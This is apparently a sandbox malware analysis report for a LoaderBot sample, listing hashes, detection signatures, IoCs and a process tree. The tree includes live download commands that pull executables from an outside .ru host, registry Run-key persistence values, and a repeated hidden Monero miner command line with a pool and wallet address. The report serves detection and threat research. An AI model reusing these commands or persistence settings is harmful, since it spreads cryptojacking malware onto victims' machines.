loaderbot | 4da864854d368ab640245f8174d247e0b9947045712d2d7449e25e7074b8587c

Analysis

max time kernel
150s
max time network
119s
platform
windows7_x64
resource
win7-en-20211208
submitted
10/01/2022, 08:28

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

136860e019115c0eefd8cf669dd8963e.exe
Size

349KB
MD5

136860e019115c0eefd8cf669dd8963e
SHA1

fa99887f95f5e0fe48e37c2d464eb56ef1619031
SHA256

4da864854d368ab640245f8174d247e0b9947045712d2d7449e25e7074b8587c
SHA512

d5fa4175cc0d4a81325f693034e216e6122a4fe551a362f449ad21c5af757fc7f3f75fcaeacf3e7bbe393e2708d371c46ae16f9b8b5762fb9836d8397bf973e3

Score

10^/10

loaderbot mimikatz loader miner persistence upx

Malware Config

Signatures

LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
loader miner loaderbot
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz

LoaderBot executable 3 IoCs

resource	yara_rule
behavioral1/memory/532-105-0x00000000009E0000-0x0000000000E3B000-memory.dmp	loaderbot
behavioral1/memory/532-113-0x00000000009E0000-0x0000000000E3B000-memory.dmp	loaderbot
behavioral1/memory/532-115-0x00000000009E0000-0x0000000000E3B000-memory.dmp	loaderbot

mimikatz is an open source tool to dump credentials on Windows 1 IoCs

resource	yara_rule
behavioral1/memory/1088-138-0x0000000074130000-0x0000000074168000-memory.dmp	mimikatz

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	1132	WScript.exe
5	1132	WScript.exe

Downloads MZ/PE file

Executes dropped EXE 64 IoCs

pid	Process
696	extd.exe
1516	extd.exe
1372	setup1.exe
652	extd.exe
1088	setup2.exe
1072	extd.exe
532	setup3.exe
1332	extd.exe
1980	Driver.exe
1556	Driver.exe
2032	Driver.exe
560	Driver.exe
1680	Driver.exe
1716	Driver.exe
1812	Driver.exe
1976	Driver.exe
1616	Driver.exe
1372	Driver.exe
896	Driver.exe
1368	Driver.exe
1100	Driver.exe
108	Driver.exe
1956	Driver.exe
1976	Driver.exe
2000	Driver.exe
1880	Driver.exe
1448	Driver.exe
556	Driver.exe
1628	Driver.exe
1712	Driver.exe
560	Driver.exe
1636	Driver.exe
544	Driver.exe
2020	Driver.exe
1488	Driver.exe
972	Driver.exe
572	Driver.exe
1712	Driver.exe
1356	Driver.exe
1632	Driver.exe
1612	Driver.exe
1880	Driver.exe
1548	Driver.exe
860	Driver.exe
768	Driver.exe
2028	Driver.exe
1324	Driver.exe
684	Driver.exe
268	Driver.exe
1776	Driver.exe
1832	Driver.exe
2028	Driver.exe
1628	Driver.exe
1076	Driver.exe
1584	Driver.exe
1488	Driver.exe
1100	Driver.exe
1164	Driver.exe
1164	Driver.exe
812	Driver.exe
1716	Driver.exe
604	Driver.exe
1412	Driver.exe
1384	Driver.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00070000000121ea-57.dat	upx
behavioral1/files/0x00070000000121ea-59.dat	upx
behavioral1/files/0x00070000000121ea-65.dat	upx
behavioral1/files/0x00070000000121ea-72.dat	upx
behavioral1/files/0x00070000000121ea-80.dat	upx
behavioral1/files/0x00070000000121ea-101.dat	upx

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url	setup3.exe

Loads dropped DLL 1 IoCs

pid	Process
532	setup3.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Windows\CurrentVersion\Run\Steam = "C:\\Users\\Admin\\AppData\\Roaming\\NVIDIA\\dllhost.exe"	setup2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\setup3.exe"	setup3.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1088	setup2.exe
532	setup3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 8 IoCs

pid	Process
696	extd.exe
1516	extd.exe
1372	setup1.exe
652	extd.exe
1088	setup2.exe
1072	extd.exe
532	setup3.exe
1332	extd.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1088	setup2.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe
532	setup3.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1088	setup2.exe
Token: SeDebugPrivilege	532	setup3.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1448 wrote to memory of 808	1448	136860e019115c0eefd8cf669dd8963e.exe	28
PID 1448 wrote to memory of 808	1448	136860e019115c0eefd8cf669dd8963e.exe	28
PID 1448 wrote to memory of 808	1448	136860e019115c0eefd8cf669dd8963e.exe	28
PID 1448 wrote to memory of 808	1448	136860e019115c0eefd8cf669dd8963e.exe	28
PID 808 wrote to memory of 696	808	cmd.exe	29
PID 808 wrote to memory of 696	808	cmd.exe	29
PID 808 wrote to memory of 696	808	cmd.exe	29
PID 808 wrote to memory of 696	808	cmd.exe	29
PID 808 wrote to memory of 1132	808	cmd.exe	30
PID 808 wrote to memory of 1132	808	cmd.exe	30
PID 808 wrote to memory of 1132	808	cmd.exe	30
PID 808 wrote to memory of 1516	808	cmd.exe	31
PID 808 wrote to memory of 1516	808	cmd.exe	31
PID 808 wrote to memory of 1516	808	cmd.exe	31
PID 808 wrote to memory of 1516	808	cmd.exe	31
PID 808 wrote to memory of 1372	808	cmd.exe	32
PID 808 wrote to memory of 1372	808	cmd.exe	32
PID 808 wrote to memory of 1372	808	cmd.exe	32
PID 808 wrote to memory of 1372	808	cmd.exe	32
PID 808 wrote to memory of 1372	808	cmd.exe	32
PID 808 wrote to memory of 1372	808	cmd.exe	32
PID 808 wrote to memory of 1372	808	cmd.exe	32
PID 808 wrote to memory of 652	808	cmd.exe	33
PID 808 wrote to memory of 652	808	cmd.exe	33
PID 808 wrote to memory of 652	808	cmd.exe	33
PID 808 wrote to memory of 652	808	cmd.exe	33
PID 808 wrote to memory of 1088	808	cmd.exe	34
PID 808 wrote to memory of 1088	808	cmd.exe	34
PID 808 wrote to memory of 1088	808	cmd.exe	34
PID 808 wrote to memory of 1088	808	cmd.exe	34
PID 808 wrote to memory of 1088	808	cmd.exe	34
PID 808 wrote to memory of 1088	808	cmd.exe	34
PID 808 wrote to memory of 1088	808	cmd.exe	34
PID 808 wrote to memory of 1072	808	cmd.exe	35
PID 808 wrote to memory of 1072	808	cmd.exe	35
PID 808 wrote to memory of 1072	808	cmd.exe	35
PID 808 wrote to memory of 1072	808	cmd.exe	35
PID 808 wrote to memory of 532	808	cmd.exe	36
PID 808 wrote to memory of 532	808	cmd.exe	36
PID 808 wrote to memory of 532	808	cmd.exe	36
PID 808 wrote to memory of 532	808	cmd.exe	36
PID 808 wrote to memory of 532	808	cmd.exe	36
PID 808 wrote to memory of 532	808	cmd.exe	36
PID 808 wrote to memory of 532	808	cmd.exe	36
PID 808 wrote to memory of 1332	808	cmd.exe	37
PID 808 wrote to memory of 1332	808	cmd.exe	37
PID 808 wrote to memory of 1332	808	cmd.exe	37
PID 808 wrote to memory of 1332	808	cmd.exe	37
PID 532 wrote to memory of 1980	532	setup3.exe	38
PID 532 wrote to memory of 1980	532	setup3.exe	38
PID 532 wrote to memory of 1980	532	setup3.exe	38
PID 532 wrote to memory of 1980	532	setup3.exe	38
PID 532 wrote to memory of 1556	532	setup3.exe	41
PID 532 wrote to memory of 1556	532	setup3.exe	41
PID 532 wrote to memory of 1556	532	setup3.exe	41
PID 532 wrote to memory of 1556	532	setup3.exe	41
PID 532 wrote to memory of 2032	532	setup3.exe	43
PID 532 wrote to memory of 2032	532	setup3.exe	43
PID 532 wrote to memory of 2032	532	setup3.exe	43
PID 532 wrote to memory of 2032	532	setup3.exe	43
PID 532 wrote to memory of 560	532	setup3.exe	45
PID 532 wrote to memory of 560	532	setup3.exe	45
PID 532 wrote to memory of 560	532	setup3.exe	45
PID 532 wrote to memory of 560	532	setup3.exe	45

C:\Users\Admin\AppData\Local\Temp\136860e019115c0eefd8cf669dd8963e.exe
"C:\Users\Admin\AppData\Local\Temp\136860e019115c0eefd8cf669dd8963e.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1448
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\BA79.tmp\BA7A.tmp\BA7B.bat C:\Users\Admin\AppData\Local\Temp\136860e019115c0eefd8cf669dd8963e.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:808
- - C:\Users\Admin\AppData\Local\Temp\BA79.tmp\BA7A.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\BA79.tmp\BA7A.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:696
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\15883\123.vbs"
    3⤵
    - Blocklisted process makes network request
    PID:1132
- - C:\Users\Admin\AppData\Local\Temp\BA79.tmp\BA7A.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\BA79.tmp\BA7A.tmp\extd.exe "/download" "http://a0617224.xsph.ru/1.exe" "setup1.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1516
- - C:\Users\Admin\AppData\Local\Temp\15883\setup1.exe
    setup1.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1372
- - C:\Users\Admin\AppData\Local\Temp\BA79.tmp\BA7A.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\BA79.tmp\BA7A.tmp\extd.exe "/download" "http://a0617224.xsph.ru/2.exe" "setup2.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:652
- - C:\Users\Admin\AppData\Local\Temp\15883\setup2.exe
    setup2.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1088
- - C:\Users\Admin\AppData\Local\Temp\BA79.tmp\BA7A.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\BA79.tmp\BA7A.tmp\extd.exe "/download" "http://a0617224.xsph.ru/3.exe" "setup3.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1072
- - C:\Users\Admin\AppData\Local\Temp\15883\setup3.exe
    setup3.exe
    3⤵
    - Executes dropped EXE
    - Drops startup file
    - Loads dropped DLL
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:532
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1980
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1556
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:2032
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:560
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1680
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1716
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1812
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1976
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1616
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1372
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:896
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1368
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1100
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:108
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1956
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1976
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:2000
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1880
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1448
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:556
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1628
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1712
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:560
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1636
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:544
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:2020
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1488
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:972
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:572
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1712
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1356
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1632
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1612
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1880
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1548
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:860
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:768
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
